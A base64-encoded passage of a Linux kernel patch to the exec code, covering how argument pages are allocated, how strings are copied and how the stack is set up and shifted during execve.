IHZvaWQgZnJlZV9hcmdfcGFnZShzdHJ1Y3QgbGludXhfYmlucHJtICpicHJtLCBpbnQgaSkKK3sK
K30KKworc3RhdGljIHZvaWQgZnJlZV9hcmdfcGFnZXMoc3RydWN0IGxpbnV4X2JpbnBybSAqYnBy
bSkKK3sKK30KKworI2Vsc2UKKworc3RhdGljIHN0cnVjdCBwYWdlICpnZXRfYXJnX3BhZ2Uoc3Ry
dWN0IGxpbnV4X2JpbnBybSAqYnBybSwgdW5zaWduZWQgbG9uZyBwb3MsCisJCWludCB3cml0ZSkK
K3sKKwlzdHJ1Y3QgcGFnZSAqcGFnZTsKKworCXBhZ2UgPSBicHJtLT5wYWdlW3BvcyAvIFBBR0Vf
U0laRV07CisJaWYgKCFwYWdlICYmIHdyaXRlKSB7CisJCXBhZ2UgPSBhbGxvY19wYWdlKEdGUF9I
SUdIVVNFUnxfX0dGUF9aRVJPKTsKKwkJaWYgKCFwYWdlKQorCQkJcmV0dXJuIE5VTEw7CisJCWJw
cm0tPnBhZ2VbcG9zIC8gUEFHRV9TSVpFXSA9IHBhZ2U7CisJfQorCisJcmV0dXJuIHBhZ2U7Cit9
CisKK3N0YXRpYyB2b2lkIHB1dF9hcmdfcGFnZShzdHJ1Y3QgcGFnZSAqcGFnZSkKK3sKK30KKwor
c3RhdGljIHZvaWQgZnJlZV9hcmdfcGFnZShzdHJ1Y3QgbGludXhfYmlucHJtICpicHJtLCBpbnQg
aSkKK3sKKwlpZiAoYnBybS0+cGFnZVtpXSkgeworCQlfX2ZyZWVfcGFnZShicHJtLT5wYWdlW2ld
KTsKKwkJYnBybS0+cGFnZVtpXSA9IE5VTEw7CisJfQorfQorCitzdGF0aWMgdm9pZCBmcmVlX2Fy
Z19wYWdlcyhzdHJ1Y3QgbGludXhfYmlucHJtICpicHJtKQoreworCWludCBpOworCisJZm9yIChp
ID0gMDsgaSA8IE1BWF9BUkdfUEFHRVM7IGkrKykKKwkJZnJlZV9hcmdfcGFnZShicHJtLCBpKTsK
K30KKworI2VuZGlmIC8qIENPTkZJR19NTVUgKi8KKworLyogQ3JlYXRlIGEgbmV3IG1tX3N0cnVj
dCBhbmQgcG9wdWxhdGUgaXQgd2l0aCBhIHRlbXBvcmFyeSBzdGFjaworICogdm1fYXJlYV9zdHJ1
Y3QuICBXZSBkb24ndCBoYXZlIGVub3VnaCBjb250ZXh0IGF0IHRoaXMgcG9pbnQgdG8gc2V0IHRo
ZQorICogc3RhY2sgZmxhZ3MsIHBlcm1pc3Npb25zLCBhbmQgb2Zmc2V0LCBzbyB3ZSB1c2UgdGVt
cG9yYXJ5IHZhbHVlcy4gIFdlJ2xsCisgKiB1cGRhdGUgdGhlbSBsYXRlciBpbiBzZXR1cF9hcmdf
cGFnZXMoKS4gKi8KK2ludCBicHJtX21tX2luaXQoc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSkK
K3sKKwlpbnQgZXJyOworCXN0cnVjdCBtbV9zdHJ1Y3QgKm1tID0gTlVMTDsKKwlzdHJ1Y3Qgdm1f
YXJlYV9zdHJ1Y3QgKnZtYSA9IE5VTEw7CisKKwlicHJtLT5tbSA9IG1tID0gbW1fYWxsb2MoKTsK
KwllcnIgPSAtRU5PTUVNOworCWlmICghbW0pCisJCWdvdG8gZXJyOworCisJaWYgKChlcnIgPSBp
bml0X25ld19jb250ZXh0KGN1cnJlbnQsIG1tKSkpCisJCWdvdG8gZXJyOworCisjaWZkZWYgQ09O
RklHX01NVQorCWJwcm0tPnZtYSA9IHZtYSA9IGttZW1fY2FjaGVfemFsbG9jKHZtX2FyZWFfY2Fj
aGVwLCBHRlBfS0VSTkVMKTsKKwllcnIgPSAtRU5PTUVNOworCWlmICghdm1hKQorCQlnb3RvIGVy
cjsKKworCWRvd25fd3JpdGUoJm1tLT5tbWFwX3NlbSk7CisJeworCQl2bWEtPnZtX21tID0gbW07
CisKKwkJLyogUGxhY2UgdGhlIHN0YWNrIGF0IHRoZSB0b3Agb2YgdXNlciBtZW1vcnkuICBMYXRl
ciwgd2UnbGwKKwkJICogbW92ZSB0aGlzIHRvIGFuIGFwcHJvcHJpYXRlIHBsYWNlLiAgV2UgZG9u
J3QgdXNlIFNUQUNLX1RPUAorCQkgKiBiZWNhdXNlIHRoYXQgY2FuIGRlcGVuZCBvbiBhdHRyaWJ1
dGVzIHdoaWNoIGFyZW4ndAorCQkgKiBjb25maWd1cmVkIHlldC4gKi8KKwkJdm1hLT52bV9lbmQg
PSBUQVNLX1NJWkU7CisJCXZtYS0+dm1fc3RhcnQgPSB2bWEtPnZtX2VuZCAtIFBBR0VfU0laRTsK
KworCQl2bWEtPnZtX2ZsYWdzID0gVk1fU1RBQ0tfRkxBR1M7CisJCXZtYS0+dm1fcGFnZV9wcm90
ID0gcHJvdGVjdGlvbl9tYXBbdm1hLT52bV9mbGFncyAmIDB4N107CisJCWlmICgoZXJyID0gaW5z
ZXJ0X3ZtX3N0cnVjdChtbSwgdm1hKSkpIHsKKwkJCXVwX3dyaXRlKCZtbS0+bW1hcF9zZW0pOwor
CQkJZ290byBlcnI7CisJCX0KKworCQltbS0+c3RhY2tfdm0gPSBtbS0+dG90YWxfdm0gPSAxOwor
CX0KKwl1cF93cml0ZSgmbW0tPm1tYXBfc2VtKTsKKworCWJwcm0tPnAgPSB2bWEtPnZtX2VuZCAt
IHNpemVvZih2b2lkICopOworI2Vsc2UKKwlicHJtLT5wID0gUEFHRV9TSVpFICogTUFYX0FSR19Q
QUdFUyAtIHNpemVvZih2b2lkICopOworI2VuZGlmCisKKwlyZXR1cm4gMDsKKworZXJyOgorI2lm
ZGVmIENPTkZJR19NTVUKKwlpZiAodm1hKSB7CisJCWJwcm0tPnZtYSA9IE5VTEw7CisJCWttZW1f
Y2FjaGVfZnJlZSh2bV9hcmVhX2NhY2hlcCwgdm1hKTsKKwl9CisjZW5kaWYKKworCWlmIChtbSkg
eworCQlicHJtLT5tbSA9IE5VTEw7CisJCW1tZHJvcChtbSk7CisJfQorCisJcmV0dXJuIGVycjsK
K30KKworRVhQT1JUX1NZTUJPTChicHJtX21tX2luaXQpOworCiAvKgogICogY291bnQoKSBjb3Vu
dHMgdGhlIG51bWJlciBvZiBzdHJpbmdzIGluIGFycmF5IEFSR1YuCiAgKi8KQEAgLTE5OCwxNSAr
MzQ2LDE2IEBAIHN0YXRpYyBpbnQgY291bnQoY2hhciBfX3VzZXIgKiBfX3VzZXIgKiBhcmd2LCBp
bnQgbWF4KQogfQogCiAvKgotICogJ2NvcHlfc3RyaW5ncygpJyBjb3BpZXMgYXJndW1lbnQvZW52
aXJvbm1lbnQgc3RyaW5ncyBmcm9tIHVzZXIKLSAqIG1lbW9yeSB0byBmcmVlIHBhZ2VzIGluIGtl
cm5lbCBtZW0uIFRoZXNlIGFyZSBpbiBhIGZvcm1hdCByZWFkeQotICogdG8gYmUgcHV0IGRpcmVj
dGx5IGludG8gdGhlIHRvcCBvZiBuZXcgdXNlciBtZW1vcnkuCisgKiAnY29weV9zdHJpbmdzKCkn
IGNvcGllcyBhcmd1bWVudC9lbnZpcm9ubWVudCBzdHJpbmdzIGZyb20gdGhlIG9sZAorICogcHJv
Y2Vzc2VzJ3MgbWVtb3J5IHRvIHRoZSBuZXcgcHJvY2VzcydzIHN0YWNrLiAgVGhlIGNhbGwgdG8g
Z2V0X3VzZXJfcGFnZXMoKQorICogZW5zdXJlcyB0aGUgZGVzdGluYXRpb24gcGFnZSBpcyBjcmVh
dGVkIGFuZCBub3Qgc3dhcHBlZCBvdXQuCiAgKi8KIHN0YXRpYyBpbnQgY29weV9zdHJpbmdzKGlu
dCBhcmdjLCBjaGFyIF9fdXNlciAqIF9fdXNlciAqIGFyZ3YsCiAJCQlzdHJ1Y3QgbGludXhfYmlu
cHJtICpicHJtKQogewogCXN0cnVjdCBwYWdlICprbWFwcGVkX3BhZ2UgPSBOVUxMOwogCWNoYXIg
KmthZGRyID0gTlVMTDsKKwl1bnNpZ25lZCBsb25nIGtwb3MgPSAwOwogCWludCByZXQ7CiAKIAl3
aGlsZSAoYXJnYy0tID4gMCkgewpAQCAtMjE1LDY5ICszNjQsNzcgQEAgc3RhdGljIGludCBjb3B5
X3N0cmluZ3MoaW50IGFyZ2MsIGNoYXIgX191c2VyICogX191c2VyICogYXJndiwKIAkJdW5zaWdu
ZWQgbG9uZyBwb3M7CiAKIAkJaWYgKGdldF91c2VyKHN0ciwgYXJndithcmdjKSB8fAotCQkJCSEo
bGVuID0gc3Rybmxlbl91c2VyKHN0ciwgYnBybS0+cCkpKSB7CisJCQkJIShsZW4gPSBzdHJubGVu
X3VzZXIoc3RyLCBNQVhfQVJHX1NUUkxFTikpKSB7CiAJCQlyZXQgPSAtRUZBVUxUOwogCQkJZ290
byBvdXQ7CiAJCX0KIAotCQlpZiAoYnBybS0+cCA8IGxlbikgIHsKKyNpZmRlZiBDT05GSUdfTU1V
CisJCWlmIChNQVhfQVJHX1NUUkxFTiA8IGxlbikgewogCQkJcmV0ID0gLUUyQklHOwogCQkJZ290
byBvdXQ7CiAJCX0KKyNlbHNlCisJCWlmIChicHJtLT5wIDwgbGVuKSB7CisJCQlyZXQgPSAtRTJC
SUc7CisJCQlnb3RvIG91dDsKKwkJfQorI2VuZGlmCiAKLQkJYnBybS0+cCAtPSBsZW47Ci0JCS8q
IFhYWDogYWRkIGFyY2hpdGVjdHVyZSBzcGVjaWZpYyBvdmVyZmxvdyBjaGVjayBoZXJlLiAqLwor
CQkvKiBXZSdyZSBnb2luZyB0byB3b3JrIG91ciB3YXkgYmFja3dvcmRzLiAqLwogCQlwb3MgPSBi
cHJtLT5wOworCQlzdHIgKz0gbGVuOworCQlicHJtLT5wIC09IGxlbjsKIAogCQl3aGlsZSAobGVu
ID4gMCkgewotCQkJaW50IGksIG5ldywgZXJyOwogCQkJaW50IG9mZnNldCwgYnl0ZXNfdG9fY29w
eTsKLQkJCXN0cnVjdCBwYWdlICpwYWdlOwogCiAJCQlvZmZzZXQgPSBwb3MgJSBQQUdFX1NJWkU7
Ci0JCQlpID0gcG9zL1BBR0VfU0laRTsKLQkJCXBhZ2UgPSBicHJtLT5wYWdlW2ldOwotCQkJbmV3
ID0gMDsKLQkJCWlmICghcGFnZSkgewotCQkJCXBhZ2UgPSBhbGxvY19wYWdlKEdGUF9ISUdIVVNF
Uik7Ci0JCQkJYnBybS0+cGFnZVtpXSA9IHBhZ2U7CisJCQlpZiAob2Zmc2V0ID09IDApCisJCQkJ
b2Zmc2V0ID0gUEFHRV9TSVpFOworCisJCQlieXRlc190b19jb3B5ID0gb2Zmc2V0OworCQkJaWYg
KGJ5dGVzX3RvX2NvcHkgPiBsZW4pCisJCQkJYnl0ZXNfdG9fY29weSA9IGxlbjsKKworCQkJb2Zm
c2V0IC09IGJ5dGVzX3RvX2NvcHk7CisJCQlwb3MgLT0gYnl0ZXNfdG9fY29weTsKKwkJCXN0ciAt
PSBieXRlc190b19jb3B5OworCQkJbGVuIC09IGJ5dGVzX3RvX2NvcHk7CisKKwkJCWlmICgha21h
cHBlZF9wYWdlIHx8IGtwb3MgIT0gKHBvcyAmIFBBR0VfTUFTSykpIHsKKwkJCQlzdHJ1Y3QgcGFn
ZSAqcGFnZTsKKworCQkJCXBhZ2UgPSBnZXRfYXJnX3BhZ2UoYnBybSwgcG9zLCAxKTsKIAkJCQlp
ZiAoIXBhZ2UpIHsKLQkJCQkJcmV0ID0gLUVOT01FTTsKKwkJCQkJcmV0ID0gLUUyQklHOwogCQkJ
CQlnb3RvIG91dDsKIAkJCQl9Ci0JCQkJbmV3ID0gMTsKLQkJCX0KIAotCQkJaWYgKHBhZ2UgIT0g
a21hcHBlZF9wYWdlKSB7Ci0JCQkJaWYgKGttYXBwZWRfcGFnZSkKKwkJCQlpZiAoa21hcHBlZF9w
YWdlKSB7CisJCQkJCWZsdXNoX2tlcm5lbF9kY2FjaGVfcGFnZShrbWFwcGVkX3BhZ2UpOwogCQkJ
CQlrdW5tYXAoa21hcHBlZF9wYWdlKTsKKwkJCQkJcHV0X2FyZ19wYWdlKGttYXBwZWRfcGFnZSk7
CisJCQkJfQogCQkJCWttYXBwZWRfcGFnZSA9IHBhZ2U7CiAJCQkJa2FkZHIgPSBrbWFwKGttYXBw
ZWRfcGFnZSk7CisJCQkJa3BvcyA9IHBvcyAmIFBBR0VfTUFTSzsKKwkJCQlmbHVzaF9jYWNoZV9w
YWdlKGJwcm0tPnZtYSwga3BvcywKKwkJCQkJCSBwYWdlX3RvX3BmbihrbWFwcGVkX3BhZ2UpKTsK
IAkJCX0KLQkJCWlmIChuZXcgJiYgb2Zmc2V0KQotCQkJCW1lbXNldChrYWRkciwgMCwgb2Zmc2V0
KTsKLQkJCWJ5dGVzX3RvX2NvcHkgPSBQQUdFX1NJWkUgLSBvZmZzZXQ7Ci0JCQlpZiAoYnl0ZXNf
dG9fY29weSA+IGxlbikgewotCQkJCWJ5dGVzX3RvX2NvcHkgPSBsZW47Ci0JCQkJaWYgKG5ldykK
LQkJCQkJbWVtc2V0KGthZGRyK29mZnNldCtsZW4sIDAsCi0JCQkJCQlQQUdFX1NJWkUtb2Zmc2V0
LWxlbik7Ci0JCQl9Ci0JCQllcnIgPSBjb3B5X2Zyb21fdXNlcihrYWRkcitvZmZzZXQsIHN0ciwg
Ynl0ZXNfdG9fY29weSk7Ci0JCQlpZiAoZXJyKSB7CisJCQlpZiAoY29weV9mcm9tX3VzZXIoa2Fk
ZHIrb2Zmc2V0LCBzdHIsIGJ5dGVzX3RvX2NvcHkpKSB7CiAJCQkJcmV0ID0gLUVGQVVMVDsKIAkJ
CQlnb3RvIG91dDsKIAkJCX0KLQotCQkJcG9zICs9IGJ5dGVzX3RvX2NvcHk7Ci0JCQlzdHIgKz0g
Ynl0ZXNfdG9fY29weTsKLQkJCWxlbiAtPSBieXRlc190b19jb3B5OwogCQl9CiAJfQogCXJldCA9
IDA7CiBvdXQ6Ci0JaWYgKGttYXBwZWRfcGFnZSkKKwlpZiAoa21hcHBlZF9wYWdlKSB7CisJCWZs
dXNoX2tlcm5lbF9kY2FjaGVfcGFnZShrbWFwcGVkX3BhZ2UpOwogCQlrdW5tYXAoa21hcHBlZF9w
YWdlKTsKKwkJcHV0X2FyZ19wYWdlKGttYXBwZWRfcGFnZSk7CisJfQogCXJldHVybiByZXQ7CiB9
CiAKQEAgLTI5NywxNTQgKzQ1NCwxNTcgQEAgaW50IGNvcHlfc3RyaW5nc19rZXJuZWwoaW50IGFy
Z2MsY2hhciAqKiBhcmd2LCBzdHJ1Y3QgbGludXhfYmlucHJtICpicHJtKQogRVhQT1JUX1NZTUJP
TChjb3B5X3N0cmluZ3Nfa2VybmVsKTsKIAogI2lmZGVmIENPTkZJR19NTVUKLS8qCi0gKiBUaGlz
IHJvdXRpbmUgaXMgdXNlZCB0byBtYXAgaW4gYSBwYWdlIGludG8gYW4gYWRkcmVzcyBzcGFjZTog
bmVlZGVkIGJ5Ci0gKiBleGVjdmUoKSBmb3IgdGhlIGluaXRpYWwgc3RhY2sgYW5kIGVudmlyb25t
ZW50IHBhZ2VzLgotICoKLSAqIHZtYS0+dm1fbW0tPm1tYXBfc2VtIGlzIGhlbGQgZm9yIHdyaXRp
bmcuCi0gKi8KLXZvaWQgaW5zdGFsbF9hcmdfcGFnZShzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZt
YSwKLQkJCXN0cnVjdCBwYWdlICpwYWdlLCB1bnNpZ25lZCBsb25nIGFkZHJlc3MpCisKK3N0YXRp
YyBpbnQgc2hpZnRfYXJnX3BhZ2VzKHN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1hLCB1bnNpZ25l
ZCBsb25nIHNoaWZ0KQogewogCXN0cnVjdCBtbV9zdHJ1Y3QgKm1tID0gdm1hLT52bV9tbTsKLQlw
dGVfdCAqIHB0ZTsKLQlzcGlubG9ja190ICpwdGw7CisJdW5zaWduZWQgbG9uZyBvbGRfc3RhcnQg
PSB2bWEtPnZtX3N0YXJ0OworCXVuc2lnbmVkIGxvbmcgb2xkX2VuZCA9IHZtYS0+dm1fZW5kOwor
CXVuc2lnbmVkIGxvbmcgbGVuZ3RoID0gb2xkX2VuZCAtIG9sZF9zdGFydDsKKwl1bnNpZ25lZCBs
b25nIG5ld19zdGFydCA9IG9sZF9zdGFydCArIHNoaWZ0OworCXVuc2lnbmVkIGxvbmcgbmV3X2Vu
ZCA9IG9sZF9lbmQgKyBzaGlmdDsKKwlzdHJ1Y3QgbW11X2dhdGhlciAqdGxiOworCisJQlVHX09O
KG5ld19zdGFydCA+IG5ld19lbmQpOworCisJaWYgKG5ld19zdGFydCA8IG9sZF9zdGFydCkgewor
CQlpZiAodm1hICE9IGZpbmRfdm1hKG1tLCBuZXdfc3RhcnQpKQorCQkJcmV0dXJuIC1FRkFVTFQ7
CisKKwkJdm1hX2FkanVzdCh2bWEsIG5ld19zdGFydCwgb2xkX2VuZCwKKwkJCSAgIHZtYS0+dm1f
cGdvZmYgLSAoLXNoaWZ0ID4+IFBBR0VfU0hJRlQpLCBOVUxMKTsKKworCQlpZiAobGVuZ3RoICE9
IG1vdmVfcGFnZV90YWJsZXModm1hLCBvbGRfc3RhcnQsCisJCQkJCSAgICAgICB2bWEsIG5ld19z
dGFydCwgbGVuZ3RoKSkKKwkJCXJldHVybiAtRU5PTUVNOworCQkKKwkJbHJ1X2FkZF9kcmFpbigp
OworCQl0bGIgPSB0bGJfZ2F0aGVyX21tdShtbSwgMCk7CisJCWZyZWVfcGdkX3JhbmdlKCZ0bGIs
IG5ld19lbmQsIG9sZF9lbmQsIG5ld19lbmQsCisJCQkgICAgICAgdm1hLT52bV9uZXh0ID8gdm1h
LT52bV9uZXh0LT52bV9zdGFydCA6IDApOworCQl0bGJfZmluaXNoX21tdSh0bGIsIG5ld19lbmQs
IG9sZF9lbmQpOworCisJCXZtYV9hZGp1c3Qodm1hLCBuZXdfc3RhcnQsIG5ld19lbmQsIHZtYS0+
dm1fcGdvZmYsIE5VTEwpOworCX0gZWxzZSB7CisJCXN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqdG1w
LCAqcHJldjsKKwkJCisJCXRtcCA9IGZpbmRfdm1hX3ByZXYobW0sIG5ld19lbmQsICZwcmV2KTsK
KwkJaWYgKCh0bXAgJiYgdG1wLT52bV9zdGFydCA8IG5ld19lbmQpIHx8IHByZXYgIT0gdm1hKQor
CQkJcmV0dXJuIC1FRkFVTFQ7CiAKLQlpZiAodW5saWtlbHkoYW5vbl92bWFfcHJlcGFyZSh2bWEp
KSkKLQkJZ290byBvdXQ7CisJCWZpbmRfdm1hX3ByZXYobW0sIHZtYS0+dm1fc3RhcnQsICZwcmV2
KTsKIAotCWZsdXNoX2RjYWNoZV9wYWdlKHBhZ2UpOwotCXB0ZSA9IGdldF9sb2NrZWRfcHRlKG1t
LCBhZGRyZXNzLCAmcHRsKTsKLQlpZiAoIXB0ZSkKLQkJZ290byBvdXQ7Ci0JaWYgKCFwdGVfbm9u
ZSgqcHRlKSkgewotCQlwdGVfdW5tYXBfdW5sb2NrKHB0ZSwgcHRsKTsKLQkJZ290byBvdXQ7CisJ
CXZtYV9hZGp1c3Qodm1hLCBvbGRfc3RhcnQsIG5ld19lbmQsIHZtYS0+dm1fcGdvZmYsIE5VTEwp
OworCisJCWlmIChsZW5ndGggIT0gbW92ZV9wYWdlX3RhYmxlc191cCh2bWEsIG9sZF9zdGFydCwK
KwkJCQkJICAgICAgIHZtYSwgbmV3X3N0YXJ0LCBsZW5ndGgpKQorCQkJcmV0dXJuIC1FTk9NRU07
CisKKwkJbHJ1X2FkZF9kcmFpbigpOworCQl0bGIgPSB0bGJfZ2F0aGVyX21tdShtbSwgMCk7CisJ
CWZyZWVfcGdkX3JhbmdlKCZ0bGIsIG9sZF9zdGFydCwgbmV3X3N0YXJ0LCAKKwkJCSAgICAgICBw
cmV2ID8gcHJldi0+dm1fZW5kOiAwLCBuZXdfc3RhcnQpOworCQl0bGJfZmluaXNoX21tdSh0bGIs
IG9sZF9zdGFydCwgbmV3X3N0YXJ0KTsKKworCQl2bWFfYWRqdXN0KHZtYSwgbmV3X3N0YXJ0LCBu
ZXdfZW5kLAorCQkJICAgdm1hLT52bV9wZ29mZiArIChzaGlmdCA+PiBQQUdFX1NISUZUKSwgTlVM
TCk7CiAJfQotCWluY19tbV9jb3VudGVyKG1tLCBhbm9uX3Jzcyk7Ci0JbHJ1X2NhY2hlX2FkZF9h
Y3RpdmUocGFnZSk7Ci0Jc2V0X3B0ZV9hdChtbSwgYWRkcmVzcywgcHRlLCBwdGVfbWtkaXJ0eShw
dGVfbWt3cml0ZShta19wdGUoCi0JCQkJCXBhZ2UsIHZtYS0+dm1fcGFnZV9wcm90KSkpKTsKLQlw
YWdlX2FkZF9uZXdfYW5vbl9ybWFwKHBhZ2UsIHZtYSwgYWRkcmVzcyk7Ci0JcHRlX3VubWFwX3Vu
bG9jayhwdGUsIHB0bCk7Ci0KLQkvKiBubyBuZWVkIGZvciBmbHVzaF90bGIgKi8KLQlyZXR1cm47
Ci1vdXQ6Ci0JX19mcmVlX3BhZ2UocGFnZSk7Ci0JZm9yY2Vfc2lnKFNJR0tJTEwsIGN1cnJlbnQp
OworCisJcmV0dXJuIDA7CiB9CiAKICNkZWZpbmUgRVhUUkFfU1RBQ0tfVk1fUEFHRVMJMjAJLyog
cmFuZG9tICovCiAKKy8qIEZpbmFsaXplcyB0aGUgc3RhY2sgdm1fYXJlYV9zdHJ1Y3QuICBUaGUg
ZmxhZ3MgYW5kIHBlcm1pc3Npb25zIGFyZSB1cGRhdGVkLAorICogdGhlIHN0YWNrIGlzIG9wdGlv
bmFsbHkgcmVsb2NhdGVkLCBhbmQgc29tZSBleHRyYSBzcGFjZSBpcyBhZGRlZC4KKyAqLwogaW50
IHNldHVwX2FyZ19wYWdlcyhzdHJ1Y3QgbGludXhfYmlucHJtICpicHJtLAogCQkgICAgdW5zaWdu
ZWQgbG9uZyBzdGFja190b3AsCiAJCSAgICBpbnQgZXhlY3V0YWJsZV9zdGFjaykKIHsKLQl1bnNp
Z25lZCBsb25nIHN0YWNrX2Jhc2U7Ci0Jc3RydWN0IHZtX2FyZWFfc3RydWN0ICptcG50OworCXVu
c2lnbmVkIGxvbmcgcmV0OworCXVuc2lnbmVkIGxvbmcgc3RhY2tfYmFzZSwgc3RhY2tfc2hpZnQ7
CiAJc3RydWN0IG1tX3N0cnVjdCAqbW0gPSBjdXJyZW50LT5tbTsKLQlpbnQgaSwgcmV0OwotCWxv
bmcgYXJnX3NpemU7CisJc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEgPSBicHJtLT52bWE7CiAK
ICNpZmRlZiBDT05GSUdfU1RBQ0tfR1JPV1NVUAotCS8qIE1vdmUgdGhlIGFyZ3VtZW50IGFuZCBl
bnZpcm9ubWVudCBzdHJpbmdzIHRvIHRoZSBib3R0b20gb2YgdGhlCi0JICogc3RhY2sgc3BhY2Uu
Ci0JICovCi0JaW50IG9mZnNldCwgajsKLQljaGFyICp0bywgKmZyb207Ci0KLQkvKiBTdGFydCBi
eSBzaGlmdGluZyBhbGwgdGhlIHBhZ2VzIGRvd24gKi8KLQlpID0gMDsKLQlmb3IgKGogPSAwOyBq
IDwgTUFYX0FSR19QQUdFUzsgaisrKSB7Ci0JCXN0cnVjdCBwYWdlICpwYWdlID0gYnBybS0+cGFn
ZVtqXTsKLQkJaWYgKCFwYWdlKQotCQkJY29udGludWU7Ci0JCWJwcm0tPnBhZ2VbaSsrXSA9IHBh
Z2U7Ci0JfQotCi0JLyogTm93IG1vdmUgdGhlbSB3aXRoaW4gdGhlaXIgcGFnZXMgKi8KLQlvZmZz
ZXQgPSBicHJtLT5wICUgUEFHRV9TSVpFOwotCXRvID0ga21hcChicHJtLT5wYWdlWzBdKTsKLQlm
b3IgKGogPSAxOyBqIDwgaTsgaisrKSB7Ci0JCW1lbW1vdmUodG8sIHRvICsgb2Zmc2V0LCBQQUdF
X1NJWkUgLSBvZmZzZXQpOwotCQlmcm9tID0ga21hcChicHJtLT5wYWdlW2pdKTsKLQkJbWVtY3B5
KHRvICsgUEFHRV9TSVpFIC0gb2Zmc2V0LCBmcm9tLCBvZmZzZXQpOwotCQlrdW5tYXAoYnBybS0+
cGFnZVtqIC0gMV0pOwotCQl0byA9IGZyb207Ci0JfQotCW1lbW1vdmUodG8sIHRvICsgb2Zmc2V0
LCBQQUdFX1NJWkUgLSBvZmZzZXQpOwotCWt1bm1hcChicHJtLT5wYWdlW2ogLSAxXSk7Ci0KIAkv
KiBMaW1pdCBzdGFjayBzaXplIHRvIDFHQiAqLwogCXN0YWNrX2Jhc2UgPSBjdXJyZW50LT5zaWdu
YWwtPnJsaW1bUkxJTUlUX1NUQUNLXS5ybGltX21heDsKIAlpZiAoc3RhY2tfYmFzZSA+ICgxIDw8
IDMwKSkKIAkJc3RhY2tfYmFzZSA9IDEgPDwgMzA7CiAJc3RhY2tfYmFzZSA9IFBBR0VfQUxJR04o
c3RhY2tfdG9wIC0gc3RhY2tfYmFzZSk7CiAKLQkvKiBBZGp1c3QgYnBybS0+cCB0byBwb2ludCB0
byB0aGUgZW5kIG9mIHRoZSBzdHJpbmdzLiAqLwotCWJwcm0tPnAgPSBzdGFja19iYXNlICsgUEFH
RV9TSVpFICogaSAtIG9mZnNldDsKLQotCW1tLT5hcmdfc3RhcnQgPSBzdGFja19iYXNlOwotCWFy
Z19zaXplID0gaSA8PCBQQUdFX1NISUZUOworCS8qIE1ha2Ugc3VyZSB3ZSBkaWRuJ3QgbGV0IHRo
ZSBhcmd1bWVudCBhcnJheSBncm93IHRvbyBsYXJnZS4gKi8KKwlpZiAodm1hLT52bV9lbmQgLSB2
bWEtPnZtX3N0YXJ0ID4gU1RBQ0tfVE9QIC0gc3RhY2tfYmFzZSkKKwkJcmV0dXJuIC1FTk9NRU07
CiAKLQkvKiB6ZXJvIHBhZ2VzIHRoYXQgd2VyZSBjb3BpZWQgYWJvdmUgKi8KLQl3aGlsZSAoaSA8
IE1BWF9BUkdfUEFHRVMpCi0JCWJwcm0tPnBhZ2VbaSsrXSA9IE5VTEw7CisJc3RhY2tfc2hpZnQg
PSBzdGFja19iYXNlIC0gdm1hLT52bV9zdGFydDsKKwltbS0+YXJnX3N0YXJ0ID0gYnBybS0+cCAr
IHN0YWNrX3NoaWZ0OworCWJwcm0tPnAgPSB2bWEtPnZtX2VuZCArIHN0YWNrX3NoaWZ0OwogI2Vs
c2UKLQlzdGFja19iYXNlID0gYXJjaF9hbGlnbl9zdGFjayhzdGFja190b3AgLSBNQVhfQVJHX1BB
R0VTKlBBR0VfU0laRSk7CisJQlVHX09OKHN0YWNrX3RvcCA+IFNUQUNLX1RPUCk7CisJQlVHX09O
KHN0YWNrX3RvcCAmIH5QQUdFX01BU0spOworCisJc3RhY2tfYmFzZSA9IGFyY2hfYWxpZ25fc3Rh
Y2soc3RhY2tfdG9wIC0gbW0tPnN0YWNrX3ZtKlBBR0VfU0laRSk7CiAJc3RhY2tfYmFzZSA9IFBB
R0VfQUxJR04oc3RhY2tfYmFzZSk7Ci0JYnBybS0+cCArPSBzdGFja19iYXNlOworCisJLyogTWFr
ZSBzdXJlIHdlIGRpZG4ndCBsZXQgdGhlIGFyZ3VtZW50IGFycmF5IGdyb3cgdG9vIGxhcmdlLiAq
LworCWlmIChzdGFja19iYXNlID4gc3RhY2tfdG9wKQorCQlyZXR1cm4gLUVOT01FTTsKKworCXN0
YWNrX3NoaWZ0ID0gc3RhY2tfYmFzZSAtIChicHJtLT5wICYgUEFHRV9NQVNLKTsKKwlicHJtLT5w
ICs9IHN0YWNrX3NoaWZ0OwogCW1tLT5hcmdfc3RhcnQgPSBicHJtLT5wOwotCWFyZ19zaXplID0g
c3RhY2tfdG9wIC0gKFBBR0VfTUFTSyAmICh1bnNpZ25lZCBsb25nKSBtbS0+YXJnX3N0YXJ0KTsK
ICNlbmRpZgogCi0JYXJnX3NpemUgKz0gRVhUUkFfU1RBQ0tfVk1fUEFHRVMgKiBQQUdFX1NJWkU7
Ci0KIAlpZiAoYnBybS0+bG9hZGVyKQotCQlicHJtLT5sb2FkZXIgKz0gc3RhY2tfYmFzZTsKLQli
cHJtLT5leGVjICs9IHN0YWNrX2Jhc2U7Ci0KLQltcG50ID0ga21lbV9jYWNoZV96YWxsb2Modm1f
YXJlYV9jYWNoZXAsIEdGUF9LRVJORUwpOwotCWlmICghbXBudCkKLQkJcmV0dXJuIC1FTk9NRU07
CisJCWJwcm0tPmxvYWRlciArPSBzdGFja19zaGlmdDsKKwlicHJtLT5leGVjICs9IHN0YWNrX3No
aWZ0OwogCiAJZG93bl93cml0ZSgmbW0tPm1tYXBfc2VtKTsKIAl7Ci0JCW1wbnQtPnZtX21tID0g
bW07Ci0jaWZkZWYgQ09ORklHX1NUQUNLX0dST1dTVVAKLQkJbXBudC0+dm1fc3RhcnQgPSBzdGFj
a19iYXNlOwotCQltcG50LT52bV9lbmQgPSBzdGFja19iYXNlICsgYXJnX3NpemU7Ci0jZWxzZQot
CQltcG50LT52bV9lbmQgPSBzdGFja190b3A7Ci0JCW1wbnQtPnZtX3N0YXJ0ID0gbXBudC0+dm1f
ZW5kIC0gYXJnX3NpemU7Ci0jZW5kaWYKKwkJc3RydWN0IHZtX2FyZWFfc3RydWN0ICpwcmV2ID0g
TlVMTDsKKwkJdW5zaWduZWQgbG9uZyB2bV9mbGFncyA9IHZtYS0+dm1fZmxhZ3M7CisKIAkJLyog
QWRqdXN0IHN0YWNrIGV4ZWN1dGUgcGVybWlzc2lvbnM7IGV4cGxpY2l0bHkgZW5hYmxlCiAJCSAq
